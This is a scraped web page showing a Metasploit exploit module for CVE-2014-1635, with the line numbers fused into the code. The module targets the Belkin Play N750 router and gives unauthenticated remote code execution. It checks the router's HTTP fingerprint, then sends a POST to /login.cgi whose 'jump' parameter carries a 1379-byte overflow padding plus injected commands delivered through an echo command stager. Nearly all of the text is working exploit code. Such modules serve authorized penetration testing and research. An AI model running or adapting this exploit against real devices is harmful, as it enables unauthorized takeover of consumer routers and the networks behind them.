CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/http/belkin_login_bof.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',14'Description' => %q{15This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB16Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling17of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing18remote unauthenticated attackers to execute arbitrary code. This module was tested in19an emulated environment, using the version 1.10.16.m of the firmware.20},21'Author' =>22[23'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)24'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager25],26'License' => MSF_LICENSE,27'Platform' => ['linux'],28'Arch' => ARCH_MIPSLE,29'References' =>30[31['CVE', '2014-1635'],32['EDB', '35184'],33['BID', '70977'],34['OSVDB', '114345'],35['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],36['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']37],38'Targets' =>39[40[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',41{42'Offset' => 1379,43}44]45],46'DefaultOptions' =>47{48'RPORT' => 808049},50'DisclosureDate' => '2014-05-09',51'DefaultTarget' => 0))52deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')53end5455def check56begin57res = send_request_cgi({58'method' => 'GET',59'uri' => '/'60})6162if res &&63[200, 301, 302].include?(res.code) &&64res.headers['Server'] &&65res.headers['Server'] =~ /minhttpd/ &&66res.body =~ /u_errpaswd/6768return Exploit::CheckCode::Detected69end70rescue ::Rex::ConnectionError71return Exploit::CheckCode::Unknown72end7374Exploit::CheckCode::Unknown75end7677def exploit78print_status("Accessing the vulnerable URL...")7980unless check == Exploit::CheckCode::Detected81fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")82end8384print_status("Exploiting...")85execute_cmdstager(86:flavor => :echo,87:linemax => 20088)89end9091def prepare_shellcode(cmd)92shellcode = rand_text_alpha_upper(target['Offset'])93shellcode << 'e' << cmd94shellcode << "\n\n"95end9697def execute_command(cmd, opts)98shellcode = prepare_shellcode(cmd)99begin100res = send_request_cgi({101'method' => 'POST',102'uri' => '/login.cgi',103'vars_post' => {104'GO' => '',105'jump' => shellcode,106}107})108return res109rescue ::Rex::ConnectionError110fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")111end112end113end114115116